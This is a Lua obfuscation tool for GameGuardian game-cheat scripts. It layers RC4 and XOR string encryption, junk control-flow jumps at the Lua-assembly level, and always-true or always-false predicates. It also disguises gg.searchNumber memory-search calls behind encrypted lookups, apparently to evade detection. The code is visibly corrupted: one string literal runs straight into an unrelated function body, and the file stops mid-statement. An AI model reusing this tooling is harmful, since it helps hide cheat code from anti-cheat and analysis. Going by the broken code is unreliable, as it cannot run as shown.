_G.tracked_assert = _G.assert local base = _G local decode_scanArray local decode_scanComment local decode_scanConstant local decode_scanNumber local decode_scanObject local decode_scanString local decode_scanWhitespace local encodeString local isArray local isEncodable local file=gg.prompt({"选择脚本"},{gg.getFile()},{"file"}) if not file then return end --gg.saveVariable(file, GETT) data = io.open(file[1],'r'):read('*a') local g={} local DW=gg.getFile() local GG=nil LJ='/storage/emulated/0/残留.txt' local SJ=loadfile(LJ) if SJ~=nil then GG=SJ() SJ=nil end if GG==nil then GG=DW end local Q={} ::a:: function KSA(key) local key_len = string.len(key) local S = {} local key_byte = {} for i = 0, 255 do S[i] = i end for i = 1, key_len do key_byte[i-1] = string.byte(key, i, i) end local j = 0 for i = 0, 255 do j = (j + S[i] + key_byte[i % key_len]) % 256 S[i], S[j] = S[j], S[i] end return S end function PRGA(S, text_len) local i = 0 local j = 0 local K = {} for n = 1, text_len do i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K[n] = S[(S[i] + S[j]) % 256] end return K end string.rc4 = function(text,key) local text_len = string.len(text) local S = KSA(key) local K = PRGA(S, text_len) return output(K, text) end function output(S, text) local len = string.len(text) local c = nil local res = {} for i = 1, len do c = string.byte(text, i, i) res[i] = string.char(bxor(S[i], c)) end return table.concat(res) end ------------------------------- -------------bit wise----------- ------------------------------- local bit_op = {} function bit_op.cond_and(r_a, r_b) return (r_a + r_b == 2) and 1 or 0 end function bit_op.cond_xor(r_a, r_b) return (r_a + r_b == 1) and 1 or 0 end function bit_op.cond_or(r_a, r_b) return (r_a + r_b > 0) and 1 or 0 end function bit_op.base(op_cond, a, b) -- bit operation if a < b then a, b = b, a end local res = 0 local shift = 1 while a ~= 0 do r_a = a % 2 r_b = b % 2 res = shift * bit_op[op_cond](r_a, r_b) + res shift = shift * 2 a = math.modf(a / 2) b = math.modf(b / 2) end return res end function bxor(a, b) return bit_op.base('cond_xor', a, b) end function band(a, b) return bit_op.base('cond_and', a, b) end function bor(a, b) return bit_op.base('cond_or', a, b) end local tab_ran_16 = {} any_byte = function(num) local zl = {} if not num then num = math.random(4, 6) end for x = 1, num do zl[#zl+1] = string.char(math.random(0, 255)) end zl = table.concat(zl) if tab_ran_16[zl] then any_byte() end tab_ran_16[zl] = true return zl end--生成16进制字符 search_key1 = "\xC4+\x91\xEB\xDF`\rq\x872\x90FA~\xD0\xC5\x15@J\xB1\x12\x1C\xBC\xAC\xC8\xD6\xA9\xBE\xCC\xDA\xD8\xD5"--rlgg内置函数名 search_key12 = any_byte(math.random(20,40)) search_key="\xF3\xCC\x87\xAE\xF2\x09\xE3\x15\xAB\xB9\x68\x52\x65\xB2\xC1\x6A\x4E\x4C\xBA\x2B\xF4\xE4\xC8\xA2\xCC\x5C\x7F\xA2\xAE\x99\x19\x44"--云模块内的key search_s = function(txt2,txt) txt = txt:rc4(txt2) txt3 = txt2:rc4(search_key) txt = txt3..txt txt = txt:gsub(".",function(x) return "\\x"..string.format("%02x",x:byte()) end) return txt end search_name = search_key12:rc4(search_key) --搜索函数为 _ENV[name] search_enc=function(ty) local search_key_1 = search_key1:gsub(".",function(x) return "\\x"..string.format("%02x",x:byte()) end) local search_key_2 = search_key12:gsub(".",function(x) return "\\x"..string.format("%02x",x:byte()) end) local search_name_1 = search_name:gsub(".",function(x) return "\\x"..string.format("%02x",x:byte()) end) enc_search=function(xx) xx=load("return "..xx) if xx then xx = xx() xx = search_s(search_name,xx) return "_ENV[\""..search_name_1.."\"](\""..xx.."\"" end end local at = "_ENV[\""..search_key_1.."\"](\""..search_key_2.."\")\n\n"---定义一个key进去 作为新的搜索函数 ty=ty:gsub("gg.searchNumber%((\"[^\n]-\")",enc_search) ty=ty:gsub("_ENV%[\"gg\"%]%[\"searchNumber\"%]%((\"[^\n]-\")",enc_search) ty=ty:gsub("_G%[\"gg\"%]%[\"searchNumber\"%]%((\"[^\n]-\")",enc_search) ty=ty:gsub("gg%[\"searchNumber\"%]%((\"[^\n]-\")",enc_search) return at..ty end ty= io.open(file[1],'r'):read('*a') --- ty=io.open(file[1],"r"):read("*a") -- menu=file[1] -- ty=io.open(menu,'r'):read("*a") -- ty --if xcc[1] then ty=search_enc(ty) io.open(file[1].."搜.lua","w"):write(ty) --end -- if YH[3] then function Tx(menu,b,cnm) io.open(menu,b):write(cnm) end function calc_time() local end_time=os.clock() local elapsed_time=end_time return string.format("%.2f", elapsed_time)..' 毫秒' end function DisarrangeTable(p) local new = {} while #p > 0 do local t = math.random(1, #p) table.insert(new, p[t]) table.remove(p, t) end return new end formatted_Tx = "================================================================" jieh=os.date("%Y/%m/%d %H:%M:%S").." " menu=file[1] file = io.open(menu.. "-BPESP7.0企业加密日志.txt", "w") file:write("当前版本为BPESP7.0企业加密工具\n在这里可以查看加密进度\n\n") file:write("正在加密...\n\n\n") file:write("1.正在加密字符串\n\n\n") --[[ ]] local File_operations = function(path,text) if text then io.open(path, "w+"):write(text):close() else reTn = io.open(path):read("*a") return reTn end end codeMC=File_operations(menu) time=os.clock() local function randomString(length) local charset = "0CABΨD#GH.J]L@$OP|R>)UV(X[Za c&ef!h💩j;lm∞o-qrstu 0 do local i = math.random(1,Total) table.insert(tRet,t[i]) t[i] = t[Total] Total = Total-1 end return tRet end local ZL = { ['EXTRAARG'] = 2, ['MOVE'] = 2, ['UNM'] = 2, ['NOT'] = 2, ['LEN'] = 2, ['ADD'] = 2, ['SUB'] = 2, ['MUL'] = 2, ['DIV'] = 2, ['MOD'] = 2, ['POW'] = 2, ['GETTABLE'] = 2, ['SETTABLE'] = 2, ['NEWTABLE'] = 2, ['SELF'] = 2, ['SETLIST'] = 2, ['LOADNIL'] = 2, ['CONCAT'] = 2, ['CALL'] = 2, ['VARARG'] = 2, ['TAILCALL'] = 2, ['TFORCALL'] = 2, ['GETUPVAL'] = 2, ['SETUPVAL'] = 2, ['GETTABUP'] = 2, ['SETTABUP'] = 2, ['CLOSURE'] = 2, ['RETURN'] = 2 } local index=math.random(1,64) local dy=function(nu) local g=math.random(10,99) if nu-g<1000000 then return 1000000 else return nu-g end end local Check=function(text) local yc = {} local yx = "[%z\1-\127\194-\244][\128-\191]*" for v in text:gmatch(yx) do table.insert(yc, v) end return yc end function JMPHX(Tran,free) local Pic = Check("�") local Star = 0 local Resver function Resver() if math.random(0, 1) == 0 then Star = Star + 1 if Star > #Pic then Star = 1 end local Tab = {} local b = gg.bytes(Pic[Star]) local tab = {} for k,v in pairs(b) do table.insert(tab, 1, string.format("%x",v)) end tab = table.concat(tab) tab = tab:gsub("........",function (x) table.insert(Tab, 1, "OP[48] 0x" .. x .. "\n") end,1) return "\n" .. table.concat(Tab) end if not free then Resver=function() return "" end else return "" end end Tran = Tran:gsub("(; .local v[^\n]+)\n",function(x) return x end):gsub("\n%s*(; .end local v[^\n]+)",function(x) return x end) :gsub("\n%s+","\n") Tran = Tran:gsub("maxstacksize (%d+)(.-RETURN[^\nv]+)\n",function(max,str) local tre_Z = {} local num = 1000000 local tre_X = {} local tre_V = {} local GX = { "FORLOOP v"..math.random(1,16), "FORPREP v"..math.random(1,16), "TFORLOOP v"..math.random(1,16), "JMP v"..math.random(1,16), } function label3() return GX[math.random(1, #GX)] end str = str:gsub("[^\n]+",function(s) zl = s:match("%S+") local Dt,tD,DT = nil, nil, nil if zl == ".upval" or zl == ".line" then tre_Z[#tre_Z+1] = s tD = true end if zl == "LOADK" and num<1001000 then num = num+1 tre_V[#tre_V+1] = ":goto_" .. num .. "\n" .. s .."\nTFORLOOP v"..(max-2).." :goto_"..(num+1)..'\n'..label1().."\n"..label3().." :goto_" .. dy(num+2) num = num+1 Dt = true end if ZL[zl] then num = num+1 if zl == "RETURN" and s:find("v") == nil then tre_X[#tre_X+1] = ":goto_" .. num .. "\n" .. s DT=true else local G_G = { "TEST v"..(max-1).." 1" } function label2() if math.random(0, 1) == 0 then return G_G[math.random(1, #G_G)] else return "" end end tre_X[#tre_X+1] = ":goto_" .. num .. "\n" .. s .."\n".. label2().."\nTFORLOOP v"..(max-2).." :goto_"..(num+1)..'\n'..label1().."\n"..label3().." :goto_" .. dy(num+2).. Resver() num = num+1 Dt = true end end if Dt then return "TFORLOOP v"..(max-2).." :goto_" .. (num-1) .. "\n:goto_" .. num elseif tD then return "" elseif DT then return "TFORLOOP v"..(max-2).." :goto_" .. num else return s end end) LOO=string.rep('TFORLOOP v'..math.random(10,20)..' :goto_999999\n',math.random(1,15)) LOX=string.rep('TFORLOOP v'..math.random(40,60)..' :goto_999999\n',math.random(1,10)) tre_Z[#tre_Z+1] = 'TFORLOOP v245 GOTO[-' .. math.random(12345, 98765) .. ']'..'\n'..LOO..'\nEQ 0 v246 v246\nTAILCALL v0\nLOADBOOL v246 1'..'\n'..LOX..'\n' return "maxstacksize "..max.."\n" .. table.concat(tre_Z,"\n") .. "\nJMP :goto_999999\n:goto_999999\nEQ 0 v"..(max-1).." v"..(max-1).."\nRETURN\nLOADBOOL v"..(max-1).." 1\nTFORLOOP v"..(max-2).." :goto_1000000\nTFORLOOP v"..(max-2).." :goto_1000000\n" .. table.concat(Table_Rand(tre_X),"\n") .. "\n:goto_1000000\n" .. str .. "\n" .. table.concat(Table_Rand(tre_V),"\n") .. "\n" end) Tran = Tran:gsub("; .local v%d+%s*\"%(.-%)\"",function(x) return x .. "\n" end):gsub("; .end local v%d+%s*\"%(.-%)\"",function(x) return "\n" .. x end):gsub("\n%s+","\n") return Tran end function LOADKENC(ty) ty=ty:gsub("(%u+)( [uv]%d+[^\n]-)(\".-\")",function(x,z,y) local MAX=math.random(210,219) local MIN=math.random(200,209) if x=="LOADK" then return x..z..y end return "LOADK v"..MAX.." "..y.."\nTESTSET v"..MIN.." v"..MAX.." 1\nTESTSET v"..math.random(220,229).." v"..math.random(230,239).." 1\nLOADBOOL v"..MIN.." 1\n"..x..z.."v"..MIN end) return ty end Get_var = function(ty) ty=ty:gsub('\n\t*%s*','\n') :gsub('\n\t*%.local [^\n]+','') :gsub('\n\t*%.end local[^\n]+','') :gsub('\n\t*%.line [^\n]+','') :gsub("\n\t*%s*; .end local v[^\n]+","") local arr = {'"[^\n]-[^\\]"', '-?%d[%w%.]*', '""'} local opNames = { 'ADD', 'SUB', 'MUL', 'DIV', 'MOD', 'POW', 'GETTABLE', 'SETTABLE', 'SELF', 'GETTABUP', 'SETTABUP', 'EQ', 'LT', 'LE' } for i, const in pairs(arr) do local A1 = 210 + (i % 3) for k, zl in pairs(opNames) do ty = string.gsub(ty, '(\n(\t*)(' .. zl .. ') %w+ )(' .. const .. ') (' .. const .. ')', function(p1, tab, name, p2, p3) local A2 = A1 + 1 return '\n' .. tab .. 'LOADK v' .. A1 .. ' ' .. p2 .. '\n\n' .. tab .. 'LOADK v' .. A2 .. ' ' .. p3 .. p1 .. 'v' .. A1 .. ' v' .. A2 .. '\n' end) ty = string.gsub(ty, '(\n(\t*)(' .. zl .. ') %w+ %w+ )(' .. const .. ')', function(p1, tab, name, p2) return '\n' .. tab .. 'LOADK v' .. A1 .. ' ' .. p2 .. p1 .. 'v' .. A1 .. '\n' end) ty = string.gsub(ty, '(\n(\t*)(' .. zl .. ') %w+ )(' .. const .. ')( %w+)', function(p1, tab, name, p2, p3) return '\n' .. tab .. 'LOADK v' .. A1 .. ' ' .. p2 .. '\n' .. p1 .. 'v' .. A1 .. p3 end) end end return ty end Ran_key,tab_final = {},{} for i = 1, math.random(2800,3300) do Ran_key[i] = math.random(200,240) end tab_ran = {} Ran_index = function(num) local zl = {} if not num then num = math.random(4, 9) end for x = 1, num do zl[#zl+1] = "\\x"..string.format("%02X",math.random(0, 255)) end zl = table.concat(zl) if not tab_ran[zl] then tab_ran[zl] = 1 return zl else Ran_index() end end Enc_var = function(yx) yx=yx:gsub("LOADK v211 \"\\xFD\\xFE\"\nGETTABUP %w+ (%w+) v211","GETUPVAL v215 %1") :gsub("GETUPVAL %w+ (%w+)\nLOADK %w+ \"\\xFF\\xFC\"\nCALL %w+%.%.%w+","GETUPVAL v216 %1") fina=({string.find(yx,"LOADK v%d+ \"触发调用处\"")})[2] start=yx:sub(0,fina) local ty=yx:sub(fina+1,-1) local tab_xx={v211=1,v212=2,v213=3} ty=ty:gsub("LOADK (v%d+) ([^\n]+)",function(var,code) code = load("return "..code)() local code1 = code if type(code) == "string" then code = {code:byte(0,-1)} local xx=1 for i,k in pairs(code) do code[i] = "\\x"..string.format("%02X",k~Ran_key[xx]) xx = xx==#Ran_key and 1 or xx+1 end code = "\""..table.concat(code).."\"" end if type(code) == "string" or tab_xx[var] then local index = Ran_index() tab_final[#tab_final+1] = "LOADK v1 "..code.."\nLOADK v2 \""..index.."\"\nSETTABLE v0 v2 v1" return "LOADK "..var.." \""..index.."\"\nGETTABLE "..var.." v215 "..var end end) tab_final = table.concat(tab_final,"\n") for i,k in pairs(Ran_key) do Ran_key[i] = "\\x"..string.format("%02X",k) end ty=start..ty ty=ty:gsub("NEWTABLE v0 0 0",function(xx) return xx.."\n"..tab_final end,1) :gsub("无敌算法key",function() return table.concat(Ran_key) end) :gsub("maxstacksize %d+","maxstacksize 250") :gsub("触发调用处","",1) return ty end ZJMHX=function() local tab={} for i=1,12 do tab[i]=string.char(math.random(16,66)) end return table.concat(tab) end init="\xC8\x06\x70\x8F\x41" function get() tab={"\xF0\x7F","\xF0\xFF","\xFF\xFF"} str=tab[math.random(1,#tab)] return "\3"..("\0"):rep(6)..str end local RanStr = (function() local res = "" for i = 1, math.random(3, 6) do res = res .. "\\" .. math.random(0, 255) end return res end) function Ran_True() local n1, n2, s1, s2, ranx, min, max local ran = math.random(0, 3) if ran == 0 then if math.random(0, 1) == 0 then local s = RanStr() return "\034" .. s .. "\034==\034" .. s .. "\034" else local n = math.random(0, 114514) return n .. "==" .. n end elseif ran == 1 then if math.random(0, 1) == 0 then repeat s1 = RanStr() s2 = RanStr() until s1 ~= s2 return "\034" .. s1 .. "\034~=\034" .. s2 .. "\034" else repeat n1 = math.random(0, 114514) n2 = math.random(0, 114514) until n1 ~= n2 return n1 .. "~=" .. n2 end elseif ran == 2 then ranx = math.random(0, 2) if ranx == 0 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n1 .. ">" .. n2 elseif ranx == 1 then n = math.random(1, 114514) return n .. ">=" .. n elseif ranx == 2 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n1 .. ">=" .. n2 end elseif ran == 3 then ranx = math.random(0, 2) if ranx == 0 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n2 .. "<" .. n1 elseif ranx == 1 then n = math.random(1, 114514) return n .. "<=" .. n elseif ranx == 2 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n2 .. "<=" .. n1 end end end local function Ran_False() local n1, n2, s1, s2, ranx, min, max local ran = math.random(0, 3) if ran == 0 then if math.random(0, 1) == 0 then local s = RanStr() return "\034" .. s .. "\034~=\034" .. s .. "\034" else local n = math.random(0, 114514) return n .. "~=" .. n end elseif ran == 1 then if math.random(0, 1) == 0 then repeat s1 = RanStr() s2 = RanStr() until s1 ~= s2 return "\034" .. s1 .. "\034==\034" .. s2 .. "\034" else repeat n1 = math.random(0, 114514) n2 = math.random(0, 114514) until n1 ~= n2 return n1 .. "==" .. n2 end elseif ran == 2 then ranx = math.random(0, 2) if ranx == 0 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n1 .. "<" .. n2 elseif ranx == 1 then repeat n1 = math.random(0, 114514) n2 = math.random(0, n1 - 1) until n1 ~= n2 return n1 .. "<=" .. n2 elseif ranx == 2 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n1 .. "<=" .. n2 end elseif ran == 3 then ranx = math.random(0, 2) if ranx == 0 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n2 .. ">" .. n1 elseif ranx == 1 then repeat n1 = math.random(0, 114514) n2 = math.random(0, n1 - 1) until (n1 ~= n2 and n1 > n2) return n2 .. ">=" .. n1 elseif ranx == 2 then n1 = math.random(1, 114514) n2 = math.random(0, n1 - 1) return n2 .. ">=" .. n1 end end end local function Ran_Bool(boolean) if boolean == nil then return "_Bool[\034" .. RanStr() .. "\034]" elseif boolean == true then if math.random(0, 1) == 0 then return Ran_True() else return "not (" .. Ran_False() .. ")" end elseif boolean == false then if math.random(0, 1) == 0 then return Ran_False() else return "not (" .. Ran_True() .. ")" end end end function bool_Control(ty) local BoolTab = {true, false, nil} for i = 1, #BoolTab do local boolStr = tostring(BoolTab[i]) ty = ty:gsub( '%f[%w_"]' .. boolStr .. '%f[^%w_"]', function() return "(" .. Ran_Bool(BoolTab[i]) .. ")" end ) end return "local _Bool={}\n" .. ty end function block(ty) ty=ty:gsub("%.linedefined[^\n]*\n%.lastlinedefined[^\n]*\n%.numparams[^\n]*\n%.is_vararg[^\n]*\n%.maxstacksize %d+",".linedefined 0\n.lastlinedefined 0\n.numparams 250\n.is_vararg 250\n.maxstacksize 250") ty = ty:gsub('(\n%s*RETURN [^\n]*)','%1\nRETURN v250..v250;\x052\x04C',32) ty = ty:gsub('(\n%s*TAILCALL [^\n]*)','%1\nRETURN v250..v250;\x052\x04C',32) return ty end --import '配置/刷区块.lua' function strenc(str) local t = {string.byte(str, 1, -1)} for i = 1, #t do t[i] = string.format('\\x%02x', t[i]) end return '"' .. table.concat(t) .. '"' end function strenc_a(str) local t = {string.byte(str, 1, -1)} for i = 1, #t do t[i] = string.format('\\x%02x', t[i]) end return table.concat(t) end function string.rc4(code,key) code = tostring(code) key = tostring(key) XINXIN = {} function XINXIN.__andBit(left,right) return (left == 1 and right == 1) and 1 or 0 end function XINXIN.__orBit(left, right) return (left == 1 or right == 1) and 1 or 0 end function XINXIN.__xorBit(left, right) return (left + right) == 1 and 1 or 0 end function XINXIN.__base(left, right, op) if left < right then left, right = right, left end local res = 0 local shift = 1 while left ~= 0 do local ra = left % 2 local rb = right % 2 res = shift * op(ra,rb) + res shift = shift * 2 left = math.modf( left / 2) right = math.modf( right / 2) end return res end function XINXIN.andOp(left, right) return XINXIN.__base(left, right, XINXIN.__andBit) end function XINXIN.xorOp(left, right) return XINXIN.__base(left, right, XINXIN.__xorBit) end function XINXIN.orOp(left, right) return XINXIN.__base(left, right, XINXIN.__orBit) end function XINXIN.notOp(left) return left > 0 and -(left + 1) or -left - 1 end function XINXIN.lShiftOp(left, num) return left * (2 ^ num) end function XINXIN.rShiftOp(left,num) return math.floor(left / (2 ^ num)) end function encrypt(text,key) local function KSA(key) local keyLen = string.len(key) local schedule = {} local keyByte = {} for i = 0, 255 do schedule[i] = i end for i = 1, keyLen do keyByte[i - 1] = string.byte(key, i, i) end local j = 0 for i = 0, 255 do j = (j + schedule[i] + keyByte[ i % keyLen]) % 256 schedule[i], schedule[j] = schedule[j], schedule[i] end return schedule end local function PRGA(schedule, textLen) local i = 0 local j = 0 local k = {} for n = 1, textLen do i = (i + 1) % 256 j = (j + schedule[i]) % 256 schedule[i], schedule[j] = schedule[j], schedule[i] k[n] = schedule[(schedule[i] + schedule[j]) % 256] end return k end local function output(schedule, text) local len = string.len(text) local c = nil local res = {} for i = 1, len do c = string.byte(text, i,i) res[i] = string.char(XINXIN.xorOp(schedule[i], c)) end return table.concat(res) end local textLen = string.len(text) local schedule = KSA(key) local k = PRGA(schedule, textLen) return output(k, text) end return encrypt(code,key) end function string.xor(ty, key) JS = {} for i = 1, #ty do byte = string.byte(ty, i) keyByte = string.byte(key, ((i - 1) % #key) + 1) table.insert(JS, string.char(bit32.bxor(byte, keyByte))) end return table.concat(JS) end b64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" function baseenc(ty) local encoded = "" local padding = "" -- 填充数据,使其长度为 3 的倍数 while #ty % 3 ~= 0 do ty = ty .. "\0" padding = padding .. "=" end for i = 1, #ty, 3 do local b1 = ty:byte(i) local b2 = ty:byte(i + 1) local b3 = ty:byte(i + 2) local combined = (b1 << 16) + (b2 << 8) + b3 encoded = encoded .. b64_chars:sub(((combined >> 18) & 0x3F) + 1, ((combined >> 18) & 0x3F) + 1) .. b64_chars:sub(((combined >> 12) & 0x3F) + 1, ((combined >> 12) & 0x3F) + 1) .. b64_chars:sub(((combined >> 6) & 0x3F) + 1, ((combined >> 6) & 0x3F) + 1) .. b64_chars:sub((combined & 0x3F) + 1, (combined & 0x3F) + 1) end return encoded:sub(1, #encoded - #padding) end ZFC_PP=function(DATA) local zfc={} repeat local A,B,C,D,E,F,G A=string.find(DATA,"\034") B=string.find(DATA,"\039") C=string.find(DATA,"%[[=]*%[") D=string.find(DATA,"%-%-") E=string.find(DATA,"[^%w_]0[xX][0-9A-Fa-f]+") F=string.find(DATA,"[^%w_]%d+") E,F=nil,nil G=SJ_ZFC(A,B,C,D,E,F) if G==nil then break end if G==A then DATA=DATA:gsub("(.-)(\034.-\034)",function(t1,t2) zfc[#zfc+1]=t1 t2=string.gsub(t2,"\\\\","\\092") t2=string.gsub(t2,"\\\034","\\034") if t2:sub(-1,-1)~="\034"then return t2 end t3=load("return "..t2) if not t3 then gg.alert("\t字符加密失败❗\n\t加密失败原因:"..t2) os.exit() end zfc[#zfc+1]=JS_ZFC(t3()) return "" end,1) elseif G==B then DATA=DATA:gsub("(.-)(\039.-\039)",function(t1,t2) zfc[#zfc+1]=t1 t2=string.gsub(t2,"\\\\","\\092") t2=string.gsub(t2,"\\\039","\\039") if t2:sub(-1,-1)~="\039"then return t2 end t3=load("return "..t2) if not t3 then gg.alert("\t字符加密失败❗\n\t加密失败原因:"..t2) os.exit() end zfc[#zfc+1]=JS_ZFC(t3()) return "" end,1) elseif G==C then local g1=string.match(DATA,"%[([=]*)%[") DATA=DATA:gsub("(.-)(%["..g1.."%[.-%]"..g1.."%])", function(t1,t2) zfc[#zfc+1]=t1 t3=load("return "..t2) if not t3 then gg.alert("\t字符加密失败❗\n\t加密失败原因:"..t2) os.exit() end zfc[#zfc+1]=JS_ZFC(t3()) return "" end,1) elseif G==D then d1,d2,d3,d4=string.find(DATA,"%-%-(%[([=]*)%[)") if d1==D then DATA=string.gsub(DATA,"(.-)%-%-%["..d4.."%[.-%]"..d4.."%]",function(txt1) zfc[#zfc+1]=txt1 return "" end,1) else DATA=string.gsub(DATA,"(.-)%-%-[^\n]*",function(txt1) zfc[#zfc+1]=txt1 return "" end,1) end elseif G==E then DATA=DATA:gsub("(.-[^%w_])(0[xX][0-9A-Fa-f]+)", function(txt1,txt2) zfc[#zfc+1]=txt1 zfc[#zfc+1]="TR("..JS_ZFC(txt2)..")" return "" end,1) elseif G==F then local n3,n4,n5,n6 n3=string.find(DATA,"[^%w_]%d+%.%d+[eE][%-%+]%d+") n4=string.find(DATA,"[^%w_]%d+%.%d+[eE]%d+") n5=string.find(DATA,"[^%w_]%d+[eE]%d+") n6=string.find(DATA,"[^%w_]%d+%.%d+") if G==n3 then DATA=DATA:gsub("(.-[^%w_])(%d+%.%d+[eE][%-%+]%d+)",function(txt1,txt2) zfc[#zfc+1]=txt1 zfc[#zfc+1]="TR("..JS_ZFC(txt2)..")" return "" end,1) elseif G==n4 then DATA=DATA:gsub("(.-[^%w_])(%d+%.%d+[eE]%d+)", function(txt1,txt2) zfc[#zfc+1]=txt1 zfc[#zfc+1]="TR("..JS_ZFC(txt2)..")" return "" end,1) elseif G==n5 then DATA=DATA:gsub("(.-[^%w_])(%d+[eE]%d+)", function(txt1,txt2) zfc[#zfc+1]=txt1 zfc[#zfc+1]="TR("..JS_ZFC(txt2)..")" return "" end,1) elseif G==n6 then DATA=DATA:gsub("(.-[^%w_])(%d+%.%d+)", function(txt1,txt2) zfc[#zfc+1]=txt1 zfc[#zfc+1]="TR("..JS_ZFC(txt2)..")" return "" end,1) else DATA=DATA:gsub("(.-[^%w_])(%d+)",function(txt1,txt2) zfc[#zfc+1]=txt1 zfc[#zfc+1]="TR("..JS_ZFC(txt2)..")" return "" end,1) end else break end until not G zfc[#zfc+1]=DATA zfc=table.concat(zfc) zfc=zfc:gsub("return %s+end","return 0\nend"):gsub("%-%-%[%[.-%]%]",""):gsub("%-%-[^\n]+","") return zfc end zfc={} JS={} SJ_ZFC=function(...) local ZDZ={...} local JSZ=nil for i,v in pairs(ZDZ) do if v~=nil then if not JSZ then JSZ=v elseif JSZ>v then JSZ=v end end end return JSZ end SJBM=function(SZ) SZ=SZ or 6 local str="" for i=1,SZ do local JSSZ=math.random(1,26) if i%2==0 then JSSZ=JSSZ+64 else JSSZ=JSSZ+96 end str=str..string.char(JSSZ) end return str end TPXZ=SJBM(256) SJZF={string.byte(TPXZ,1,-1)} ZFTH=#SJZF BMTH=SJBM() JS_ZFC=function(zfc) local Table={} for i,v in pairs({string.byte(zfc,1,-1)}) do Table[i]=(v~SJZF[(i-1)%ZFTH+1]) end zfc="{"..table.concat(Table,",").."}" zfc=load("return "..zfc)() --print(zfc) mid = #zfc / 2 --print(mid) a = {} b = {} for i = 1, mid do table.insert(a, zfc[i]) end --print(a) for i = mid + 1, #zfc do table.insert(b, zfc[i]) end a = "{" .. table.concat(a, ", ") .. "}" b = "{" .. table.concat(b, ", ") .. "}" yhgoto=math.random(99,9999) FF = {"dx","0xe","xZ","olxx","cx3"} function tb(...) count = #FF DY = math.random(1, count) return(FF[DY]) end function hhhl(...) return math.random(1,255) end LJ=""..tb()..tb()..tb().."" local FF = { "dexll={"..hhhl()..","..hhhl()..","..hhhl()..","..hhhl()..","..hhhl()..","..hhhl().."}", "dexll={"..hhhl().."}", "dexll={"..hhhl()..","..hhhl()..","..hhhl()..","..hhhl().."}", "dexll={"..hhhl()..","..hhhl()..","..hhhl().."}", "dexll={"..hhhl()..","..hhhl().."}" } local function tb(...) local count = #FF local DY = math.random(1, count) return(FF[DY]) end zfc='('..BMTH..'((function() \n dex[1]="'..LJ..'" '..tb()..' \ngoto _'..yhgoto..'_\nif true then end\n::_'..yhgoto..'_:: \nlocal function a() return '..a..' end local function b() return '..b..' end local c = {} local a = a() local b = b() XSPH(a,b,c) return c end)()))' -- dex[1]='..LJ.."' "..tb().." \ngoto _"..yhgoto.."_\nif true then end\n::_"..yhgoto.."_:: return zfc end Min_num = function(...) local arm = {...} local num = nil for i, v in pairs(arm) do if v ~= nil then if not num then num = v elseif num > v then num = v end end end return num end Enc_Strings = function(DATA) local gr = {} repeat local s1, ss1, x1, xx1, n1, n2, str s1 = string.find(DATA, "\034")--单引号 ss1 = string.find(DATA, "\039")--双引号 x1 = string.find(DATA, "%[[=]*%[")--中括号 xx1 = string.find(DATA, "%-%-")--注释 str = Min_num(s1, ss1, x1, xx1) if str == nil then break end if str == s1 then DATA = DATA:gsub("(.-)(\034.-\034)",function(t1, t2) gr[#gr + 1] = t1 local t3 = t2 t2 = string.gsub(t2, "\\\\","\\092") t2 = string.gsub(t2, "\\\034", "\\034") if t2:sub(-1, -1) ~= "\034" then return t2 end gr[#gr + 1] = t3 return "" end, 1) elseif str == ss1 then DATA = DATA:gsub("(.-)(\039.-\039)",function(t1, t2) gr[#gr + 1] = t1 local t3 = t2 t2 = string.gsub(t2, "\\\\","\\092") t2 = string.gsub(t2, "\\\039", "\\039") if t2:sub(-1, -1) ~= "\039" then return t2 end gr[#gr + 1] = t3 return "" end, 1) elseif str == x1 then local g1 = string.match(DATA,"%[([=]*)%[") DATA=DATA:gsub("(.-)(%["..g1.."%[.-%]"..g1.."%])",function(t1, t2) gr[#gr + 1] = t1 gr[#gr + 1] = t2 return "" end, 1) elseif str == xx1 then d1, d2, d3, d4 = string.find(DATA, "%-%-(%[([=]*)%[)") if d1 == xx1 then DATA = string.gsub(DATA, "(.-)%-%-%[" .. d4 .. "%[.-%]" .. d4 .. "%]", function(txt1) gr[#gr + 1] = txt1 return " " end, 1) else DATA = string.gsub(DATA, "(.-)%-%-[^\n]*", function(txt1) gr[#gr + 1] = txt1 return "" end, 1) end else break end until not str gr[#gr+1]=DATA gr = table.concat(gr) :gsub("return%s+end","return 0\nend") return gr end yr = [===[ local trb = {"p","s","r","a","i","c","h","t","g","n","b","y","e","l","o"} local char = _ENV[trb[2]..trb[8]..trb[3]..trb[5]..trb[10]..trb[9]][trb[6]..trb[7]..trb[4]..trb[3]] local pairs = _ENV[trb[1]..trb[4]..trb[5]..trb[3]..trb[2]] local byte = _ENV[trb[2]..trb[8]..trb[3]..trb[5]..trb[10]..trb[9]][trb[11]..trb[12]..trb[8]..trb[13]] local concat = _ENV[trb[8]..trb[4]..trb[11]..trb[14]..trb[13]][trb[6]..trb[15]..trb[10]..trb[6]..trb[4]..trb[8]] local type = _ENV[trb[8]..trb[12]..trb[1]..trb[13]] local function xor(tab,key) key={byte(key,0,-1)} for i,k in pairs(tab) do if type(k)==trb[2]..trb[8]..trb[3]..trb[5]..trb[10]..trb[9] then local kk={byte(k,0,-1)} local n=1 for a,b in pairs(kk) do kk[a]=char(b~key[n]) n=n==#key and 1 or n+1 end tab[i] = concat(kk) end end return tab end ]===] Waik=[[ lllllllIlIllllI=(((6 + -#"\16\2\18\13\6") ~ (~1 + #"\2\3\27\5\6\16")) > ((2 + #"\20\9") & (112 >> #"\22\26\6\19"))) lllllllIlllIII=(((4 + -#"\8\16") ~ (64 >> #"\4\8\20\19\14\7")) == ((224 >> #"\20\3\25\24\24") & (8 - #"\24\18\17\5"))) lllIIIIIIIIll=(((13 + -#"\18\6\17\26\4\10\5") & (~0 - -#"\19\18\22\0\16\18\0\23")) == ((10 - #"\23\3\9\28\20\24\12\1") | (14 + -#"\6\4\14\21\14\2\3\10"))) ]] Waike=[[ if lllllllIlIllllI==(((6 + -#"\16\2\18\13\6") ~ (~1 + #"\2\3\27\5\6\16")) > ((2 + #"\20\9") & (112 >> #"\22\26\6\19"))) and 